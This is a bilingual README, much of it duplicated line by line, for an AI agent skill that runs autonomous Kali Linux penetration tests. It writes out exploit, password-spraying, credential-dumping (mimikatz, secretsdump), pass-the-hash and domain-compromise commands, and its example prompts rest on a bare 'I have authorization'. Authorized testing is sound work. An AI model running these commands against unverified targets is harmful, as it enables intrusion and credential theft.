kali-pentest-ai-agent
kali-pentest-ai-agent
Skill by
ara.so — Security Skills collection.
An AI agent skill for autonomous penetration testing using Kali Linux. Provides 269 CLI security tools across 14 categories, 15+ scenario playbooks, intelligent attack path planning, cross-phase result integration, and mandatory human approval for high-risk actions. Unlike traditional automated scanners, this skill enables AI agents to adaptively plan, execute, and iterate through penetration testing phases like a human security researcher.
这是一款基于Kali Linux的AI Agent自动化渗透测试技能。它提供了涵盖14个类别的269款CLI安全工具、15+个场景剧本、智能攻击路径规划、跨阶段结果整合功能,并要求高风险操作必须经过人工审批。与传统自动化扫描器不同,该技能能让AI Agent像人类安全研究员一样,自适应地规划、执行并迭代渗透测试的各个阶段。
- Autonomous Attack Planning: AI agent analyzes targets and plans multi-phase attack paths
- Tool Selection & Execution: Intelligently selects from 269+ Kali tools based on context
- Cross-Phase Integration: Integrates findings across reconnaissance, scanning, exploitation, and post-exploitation
- Adaptive Strategy: Adjusts testing approach based on intermediate results
- Human Approval Gates: Requires explicit authorization before high-risk actions
- Depth Control: Supports Quick/Standard/Deep testing modes with coverage matrices
- Structured Reporting: Generates Markdown and HTML reports with evidence and remediation
- 自主攻击规划:AI Agent分析目标并规划多阶段攻击路径
- 工具选择与执行:根据上下文智能选择269+款Kali工具
- 跨阶段整合:整合侦察、扫描、利用和后渗透阶段的发现结果
- 自适应策略:根据中间结果调整测试方法
- 人工审批环节:高风险操作前需要明确授权
- 深度控制:支持快速/标准/深度测试模式及覆盖矩阵
- 结构化报告:生成包含证据和修复建议的Markdown与HTML报告
1. Install the Skill
1. 安装技能
Copy the skill directory into your AI agent's skills folder:
For Claude Code (personal)
For Claude Code (personal)
cp -r kali-pentest ~/.claude/skills/
cp -r kali-pentest ~/.claude/skills/
For Claude Code (project-specific)
For Claude Code (project-specific)
cp -r kali-pentest .claude/skills/
cp -r kali-pentest .claude/skills/
cp -r kali-pentest ~/.openclaw/skills/
cp -r kali-pentest ~/.openclaw/skills/
For Hermes Agent
For Hermes Agent
cp -r kali-pentest ~/.hermes/skills/
cp -r kali-pentest ~/.hermes/skills/
2. Set Up Kali Environment
2. 搭建Kali环境
Choose one of three modes:
Local Mode (agent runs directly on Kali):
选择以下三种模式之一:
本地模式(Agent直接在Kali上运行):
Ensure you're on Kali Linux
Ensure you're on Kali Linux
cat /etc/os-release | grep Kali
cat /etc/os-release | grep Kali
Verify tool availability
Verify tool availability
which nmap metasploit-framework burpsuite
**Server Mode** (SSH to remote Kali):
```bash
which nmap metasploit-framework burpsuite
**服务器模式**(通过SSH连接远程Kali):
```bash
Generate SSH key if needed
Generate SSH key if needed
ssh-keygen -t ed25519 -f ~/.ssh/kali_key
ssh-keygen -t ed25519 -f ~/.ssh/kali_key
Copy public key to Kali server
Copy public key to Kali server
ssh-copy-id -i ~/.ssh/kali_key.pub root@kali-server-ip
ssh-copy-id -i ~/.ssh/kali_key.pub root@kali-server-ip
Test connection
Test connection
ssh -i ~/.ssh/kali_key root@kali-server-ip "uname -a"
**Docker Mode** (containerized Kali):
```bash
ssh -i ~/.ssh/kali_key root@kali-server-ip "uname -a"
**Docker模式**(容器化Kali):
```bash
Pull Kali Docker image
Pull Kali Docker image
docker pull kalilinux/kali-rolling
docker pull kalilinux/kali-rolling
Create persistent container
Create persistent container
docker run -d --name kali-pentest
--network host
--cap-add=NET_ADMIN
--cap-add=NET_RAW
-v $(pwd)/kali-pentest:/workspace
kalilinux/kali-rolling tail -f /dev/null
docker run -d --name kali-pentest
--network host
--cap-add=NET_ADMIN
--cap-add=NET_RAW
-v $(pwd)/kali-pentest:/workspace
kalilinux/kali-rolling tail -f /dev/null
Install base tools
Install base tools
docker exec kali-pentest bash -c "apt update && apt install -y kali-linux-default"
docker exec kali-pentest bash -c "apt update && apt install -y kali-linux-default"
3. Configure Environment Variables
3. 配置环境变量
Set Kali connection mode
Set Kali connection mode
export KALI_MODE="local" # or "server" or "docker"
export KALI_MODE="local" # or "server" or "docker"
For server mode
For server mode
export KALI_SSH_KEY="$HOME/.ssh/kali_key"
export KALI_HOST="root@192.168.1.100"
export KALI_SSH_KEY="$HOME/.ssh/kali_key"
export KALI_HOST="root@192.168.1.100"
For docker mode
For docker mode
export KALI_CONTAINER="kali-pentest"
export KALI_CONTAINER="kali-pentest"
Output directory for reports
Output directory for reports
export PENTEST_OUTPUT_DIR="$HOME/pentest-reports"
mkdir -p "$PENTEST_OUTPUT_DIR"
export PENTEST_OUTPUT_DIR="$HOME/pentest-reports"
mkdir -p "$PENTEST_OUTPUT_DIR"
Key Commands & Usage
核心命令与使用方法
Invoke via Slash Command
通过斜杠命令调用
In Claude Code or compatible agent
In Claude Code or compatible agent
Invoke via Natural Language
通过自然语言调用
Quick Scan Example:
Kali tools are available locally (this machine is Kali).
Target: 10.0.0.0/24
Quickly scan the target network for open ports and services.
I have authorization.
Standard Assessment Example:
The persistent Docker container `kali-pentest` is initialized.
Use Docker mode to run a web application penetration test against http://192.168.1.50.
I have authorization.
Deep Assessment Example:
Kali server: ssh -i ~/.ssh/kali_key root@192.168.1.100
First run a full port scan against 192.168.1.50, then plan and execute
an in-depth penetration test — do not overlook any potential weakness.
I have authorization.
快速扫描示例:
Kali tools are available locally (this machine is Kali).
Target: 10.0.0.0/24
Quickly scan the target network for open ports and services.
I have authorization.
标准评估示例:
The persistent Docker container `kali-pentest` is initialized.
Use Docker mode to run a web application penetration test against http://192.168.1.50.
I have authorization.
深度评估示例:
Kali server: ssh -i ~/.ssh/kali_key root@192.168.1.100
First run a full port scan against 192.168.1.50, then plan and execute
an in-depth penetration test — do not overlook any potential weakness.
I have authorization.
The agent executes five steps:
Step 1: Environment Setup
步骤1:环境搭建
Agent verifies Kali access
Agent verifies Kali access
ssh -i ~/.ssh/kali_key root@kali-host "which nmap metasploit sqlmap"
ssh -i ~/.ssh/kali_key root@kali-host "which nmap metasploit sqlmap"
Or local mode
Or local mode
which nmap metasploit sqlmap
which nmap metasploit sqlmap
Or docker mode
Or docker mode
docker exec kali-pentest which nmap metasploit sqlmap
docker exec kali-pentest which nmap metasploit sqlmap
Agent confirms authorization and scope
Agent confirms authorization and scope
Selects appropriate playbook from decision tree:
Selects appropriate playbook from decision tree:
- external-network.md
- external-network.md
- internal-network.md
- internal-network.md
- web-application.md
- web-application.md
- active-directory.md
- active-directory.md
- api-security.md
- api-security.md
- cloud-native.md
- cloud-native.md
- mobile-application.md
- mobile-application.md
- wireless-network.md
- wireless-network.md
- password-audit.md
- password-audit.md
- source-code-audit.md
- source-code-audit.md
- social-engineering.md
- social-engineering.md
- physical-security.md
- physical-security.md
- voip-ics.md
- voip-ics.md
- post-exploitation.md
- post-exploitation.md
- reporting.md
- reporting.md
Step 3: Execute Phases
步骤3:执行各阶段
Host discovery
Host discovery
nmap -sn 192.168.1.0/24 -oN hosts.txt
nmap -sn 192.168.1.0/24 -oN hosts.txt
DNS enumeration
DNS enumeration
dig @8.8.8.8 example.com ANY +noall +answer
dnsenum --enum example.com
dig @8.8.8.8 example.com ANY +noall +answer
dnsenum --enum example.com
Subdomain discovery
Subdomain discovery
subfinder -d example.com -o subdomains.txt
**Port Scanning**:
```bash
subfinder -d example.com -o subdomains.txt
Full TCP scan with service detection
Full TCP scan with service detection
nmap -p- -sV -sC -O 192.168.1.50 -oA full-scan
nmap -p- -sV -sC -O 192.168.1.50 -oA full-scan
UDP scan for common services
UDP scan for common services
nmap -sU --top-ports 100 192.168.1.50 -oN udp-scan.txt
**Vulnerability Detection**:
```bash
nmap -sU --top-ports 100 192.168.1.50 -oN udp-scan.txt
Nmap vulnerability scripts
Nmap vulnerability scripts
nmap --script vuln 192.168.1.50 -oN vuln-scan.txt
nmap --script vuln 192.168.1.50 -oN vuln-scan.txt
Web vulnerability scanning
Web vulnerability scanning
SSL/TLS testing
SSL/TLS testing
sslscan --no-failed 192.168.1.50:443
**Exploitation**:
```bash
sslscan --no-failed 192.168.1.50:443
Metasploit Framework
Metasploit Framework
msfconsole -q -x "use exploit/multi/http/struts2_content_type_ognl;
set RHOST 192.168.1.50; set LHOST 192.168.1.10; exploit"
msfconsole -q -x "use exploit/multi/http/struts2_content_type_ognl;
set RHOST 192.168.1.50; set LHOST 192.168.1.10; exploit"
SQL injection
SQL injection
Password spraying
Password spraying
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success
**Post-Exploitation**:
```bash
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success
Privilege escalation enumeration
Privilege escalation enumeration
linpeas.sh | tee linpeas-output.txt
linpeas.sh | tee linpeas-output.txt
Credential dumping
Credential dumping
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
Lateral movement
Lateral movement
crackmapexec smb 192.168.1.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
crackmapexec smb 192.168.1.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
Step 4: Analyze & Iterate
步骤4:分析与迭代
Agent integrates results across phases:
Example: Agent logic (pseudocode)
Example: Agent logic (pseudocode)
if redis_noauth_found:
exploit_redis_for_shell()
if shell_obtained:
run_privilege_escalation_enum()
if credentials_found:
attempt_lateral_movement()
if redis_noauth_found:
exploit_redis_for_shell()
if shell_obtained:
run_privilege_escalation_enum()
if credentials_found:
attempt_lateral_movement()
Step 5: Report Generation
步骤5:报告生成
Generate Markdown report
Generate Markdown report
Penetration Test Report
Penetration Test Report
Executive Summary
Executive Summary
- Target: 192.168.1.50
- Date: $(date)
- Severity: Critical findings detected
- Target: 192.168.1.50
- Date: $(date)
- Severity: Critical findings detected
[CRITICAL] Unauthenticated Redis Access
[CRITICAL] Unauthenticated Redis Access
Evidence: ```redis-cli -h 192.168.1.50 INFO```
Impact: Remote code execution via Redis module injection
Remediation: Enable authentication with `requirepass` directive
Evidence: ```redis-cli -h 192.168.1.50 INFO```
Impact: Remote code execution via Redis module injection
Remediation: Enable authentication with `requirepass` directive
Redis no-auth → SSH shell → SUID privesc → root access
EOF
Redis no-auth → SSH shell → SUID privesc → root access
EOF
Convert to HTML (agent uses reporting tools)
Convert to HTML (agent uses reporting tools)
markdown report.md > report.html
markdown report.md > report.html
Pattern 1: Network Penetration Test
模式1:网络渗透测试
Phase 1: Discovery
Phase 1: Discovery
nmap -sn $TARGET_NETWORK -oG - | grep "Up" | cut -d' ' -f2 > live-hosts.txt
nmap -sn $TARGET_NETWORK -oG - | grep "Up" | cut -d' ' -f2 > live-hosts.txt
Phase 2: Port scanning
Phase 2: Port scanning
while read host; do
nmap -p- -sV -sC "$host" -oN "scan-$host.txt"
done < live-hosts.txt
while read host; do
nmap -p- -sV -sC "$host" -oN "scan-$host.txt"
done < live-hosts.txt
Phase 3: Vulnerability assessment
Phase 3: Vulnerability assessment
for host in $(cat live-hosts.txt); do
nmap --script vuln "$host" -oN "vuln-$host.txt"
done
for host in $(cat live-hosts.txt); do
nmap --script vuln "$host" -oN "vuln-$host.txt"
done
Phase 4: Exploitation (with approval)
Phase 4: Exploitation (with approval)
Agent pauses here for human confirmation
Agent pauses here for human confirmation
msfconsole -r exploit-script.rc
msfconsole -r exploit-script.rc
Pattern 2: Web Application Test
模式2:Web应用测试
Passive reconnaissance
Passive reconnaissance
whatweb http://$TARGET
wafw00f http://$TARGET
whatweb http://$TARGET
wafw00f http://$TARGET
Active scanning
Active scanning
nikto -h http://$TARGET -output nikto.html -Format html
zap-cli quick-scan --self-contained http://$TARGET
nikto -h http://$TARGET -output nikto.html -Format html
zap-cli quick-scan --self-contained http://$TARGET
Targeted exploitation
Targeted exploitation
sqlmap -u "http://$TARGET/page?id=1" --risk 3 --level 5 --batch
wpscan --url http://$TARGET --enumerate vp,vt,u
sqlmap -u "http://$TARGET/page?id=1" --risk 3 --level 5 --batch
wpscan --url http://$TARGET --enumerate vp,vt,u
Pattern 3: Active Directory Assessment
模式3:Active Directory评估
Initial enumeration
Initial enumeration
crackmapexec smb $DC_IP -u '' -p '' --shares
ldapsearch -x -h $DC_IP -b "DC=corp,DC=example,DC=com"
crackmapexec smb $DC_IP -u '' -p '' --shares
ldapsearch -x -h $DC_IP -b "DC=corp,DC=example,DC=com"
Kerberoasting
Kerberoasting
impacket-GetUserSPNs corp.example.com/user:password -dc-ip $DC_IP -request
impacket-GetUserSPNs corp.example.com/user:password -dc-ip $DC_IP -request
Bloodhound collection
Bloodhound collection
bloodhound-python -d corp.example.com -u user -p password -ns $DC_IP -c all
bloodhound-python -d corp.example.com -u user -p password -ns $DC_IP -c all
Post-exploitation
Post-exploitation
impacket-secretsdump corp.example.com/admin@$DC_IP
impacket-secretsdump corp.example.com/admin@$DC_IP
Pattern 4: Cloud-Native Security
模式4:云原生安全测试
Kubernetes enumeration
Kubernetes enumeration
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces -o json | grep -i password
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces -o json | grep -i password
Container escape detection
Container escape detection
Cloud metadata access
Cloud metadata access
Control testing thoroughness via natural language:
| Trigger Phrase | Depth | Coverage |
|---|
| "quick scan", "fast check" | Quick | Top 100 ports, common vulnerabilities |
| (default) | Standard | Full TCP, service fingerprinting, OWASP Top 10 |
| "comprehensive", "deep", "thorough" | Deep | All ports, exhaustive vulnerability checks, manual verification |
通过自然语言控制测试细致程度:
| 触发短语 | 深度 | 覆盖范围 |
|---|
| "quick scan", "fast check" | 快速 | 前100个端口、常见漏洞 |
| (默认) | 标准 | 全TCP端口、服务指纹识别、OWASP Top 10 |
| "comprehensive", "deep", "thorough" | 深度 | 所有端口、全面漏洞检查、人工验证 |
High-risk actions require explicit human confirmation:
- Exploitation attempts (RCE, privilege escalation)
- Credential dumping
- Lateral movement
- Service disruption (DoS tests)
- Data exfiltration
Agent will pause and request approval:
🔴 HIGH-RISK ACTION REQUIRES APPROVAL:
Execute Metasploit exploit against 192.168.1.50 (RCE attempt)
Type 'APPROVE' to proceed or 'DENY' to skip:
高风险操作需要明确的人工确认:
- 漏洞利用尝试(远程代码执行、权限提升)
- 凭证提取
- 横向移动
- 服务中断(DoS测试)
- 数据泄露
Agent会暂停并请求审批:
🔴 HIGH-RISK ACTION REQUIRES APPROVAL:
Execute Metasploit exploit against 192.168.1.50 (RCE attempt)
Type 'APPROVE' to proceed or 'DENY' to skip:
Test SSH connection
Test SSH connection
ssh -i $KALI_SSH_KEY -v $KALI_HOST "echo 'Connection OK'"
ssh -i $KALI_SSH_KEY -v $KALI_HOST "echo 'Connection OK'"
Test Docker connection
Test Docker connection
docker exec $KALI_CONTAINER echo "Container OK"
docker exec $KALI_CONTAINER echo "Container OK"
Check network connectivity from Kali
Check network connectivity from Kali
ssh -i $KALI_SSH_KEY $KALI_HOST "ping -c 3 $TARGET_IP"
ssh -i $KALI_SSH_KEY $KALI_HOST "ping -c 3 $TARGET_IP"
Install missing tool (server mode)
Install missing tool (server mode)
ssh -i $KALI_SSH_KEY $KALI_HOST "apt update && apt install -y <tool-name>"
ssh -i $KALI_SSH_KEY $KALI_HOST "apt update && apt install -y <tool-name>"
Install in Docker
Install in Docker
docker exec $KALI_CONTAINER bash -c "apt update && apt install -y <tool-name>"
docker exec $KALI_CONTAINER bash -c "apt update && apt install -y <tool-name>"
Grant NET_ADMIN capability (Docker)
Grant NET_ADMIN capability (Docker)
docker run --cap-add=NET_ADMIN --cap-add=NET_RAW ...
docker run --cap-add=NET_ADMIN --cap-add=NET_RAW ...
Run as root (server mode)
Run as root (server mode)
ssh -i $KALI_SSH_KEY root@$KALI_HOST
ssh -i $KALI_SSH_KEY root@$KALI_HOST
Check sudo privileges
Check sudo privileges
ssh -i $KALI_SSH_KEY $KALI_HOST "sudo -l"
ssh -i $KALI_SSH_KEY $KALI_HOST "sudo -l"
Output Collection Failures
输出收集失败
Ensure output directory exists
Ensure output directory exists
mkdir -p $PENTEST_OUTPUT_DIR
mkdir -p $PENTEST_OUTPUT_DIR
Check disk space
Check disk space
df -h $PENTEST_OUTPUT_DIR
df -h $PENTEST_OUTPUT_DIR
Verify write permissions
Verify write permissions
touch $PENTEST_OUTPUT_DIR/test && rm $PENTEST_OUTPUT_DIR/test
touch $PENTEST_OUTPUT_DIR/test && rm $PENTEST_OUTPUT_DIR/test
Agent Stops Early
Agent提前终止
If coverage is insufficient:
The current pentest results are not comprehensive enough.
Check the playbook's "Stop When" conditions and coverage matrix.
Have all required tool categories been utilized?
如果覆盖范围不足:
The current pentest results are not comprehensive enough.
Check the playbook's "Stop When" conditions and coverage matrix.
Have all required tool categories been utilized?
Example 1: External Network Pentest
案例1:外部网络渗透测试
Reconnaissance
Reconnaissance
amass enum -d target.com -o subdomains.txt
nmap -iL subdomains.txt -p 80,443,8080,8443 -oA web-services
amass enum -d target.com -o subdomains.txt
nmap -iL subdomains.txt -p 80,443,8080,8443 -oA web-services
Vulnerability scanning
Vulnerability scanning
nuclei -l web-services.txt -t cves/ -o nuclei-findings.txt
nuclei -l web-services.txt -t cves/ -o nuclei-findings.txt
Exploitation (approved)
Exploitation (approved)
msfconsole -x "use exploit/multi/http/apache_log4j_rce; set RHOST 10.0.0.50; exploit"
msfconsole -x "use exploit/multi/http/apache_log4j_rce; set RHOST 10.0.0.50; exploit"
cat nuclei-findings.txt web-services.nmap > final-report.md
cat nuclei-findings.txt web-services.nmap > final-report.md
Example 2: Internal Network Compromise
案例2:内部网络渗透
Initial foothold via phishing (simulated)
Initial foothold via phishing (simulated)
Now on internal network: 172.16.0.0/16
Now on internal network: 172.16.0.0/16
Host discovery
Host discovery
netdiscover -r 172.16.0.0/16 -P
netdiscover -r 172.16.0.0/16 -P
Lateral movement
Lateral movement
crackmapexec smb 172.16.0.0/16 -u admin -H $NTLM_HASH --sam
crackmapexec smb 172.16.0.0/16 -u admin -H $NTLM_HASH --sam
Domain enumeration
Domain enumeration
bloodhound-python -d corp.local -u admin -p $PASSWORD -c all -ns 172.16.0.10
bloodhound-python -d corp.local -u admin -p $PASSWORD -c all -ns 172.16.0.10
Domain admin compromise
Domain admin compromise
impacket-psexec corp.local/dadmin@172.16.0.10 -hashes :$DA_HASH
impacket-psexec corp.local/dadmin@172.16.0.10 -hashes :$DA_HASH
Example 3: API Security Assessment
案例3:API安全评估
Parse OpenAPI spec
Parse OpenAPI spec
cat openapi.yaml | grep -E "paths:|/api/"
cat openapi.yaml | grep -E "paths:|/api/"
Automated fuzzing
Automated fuzzing
Authentication bypass testing
Authentication bypass testing
Documentation References
文档参考
- Official Kali Docs: https://www.kali.org/docs/
- Playbooks:
kali-pentest/references/playbooks/
- Tool Categories:
kali-pentest/references/<category>/
- Environment Setup:
kali-pentest/references/environment/
- Official Kali Docs: https://www.kali.org/docs/
- Playbooks:
kali-pentest/references/playbooks/
- Tool Categories:
kali-pentest/references/<category>/
- Environment Setup:
kali-pentest/references/environment/
Optimized for:
- (local, requires ≥128K context)
Legal & Ethical Use
法律与伦理说明
⚠️ AUTHORIZATION REQUIRED: This skill is for authorized penetration testing only. Always obtain explicit written permission before testing any target. Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), and similar laws worldwide.
⚠️ 必须获得授权:本技能仅用于授权的渗透测试。测试任何目标前必须获得明确的书面许可。未经授权访问计算机系统违反美国《计算机欺诈和滥用法案》(CFAA)、英国《计算机滥用法案》及全球类似法律。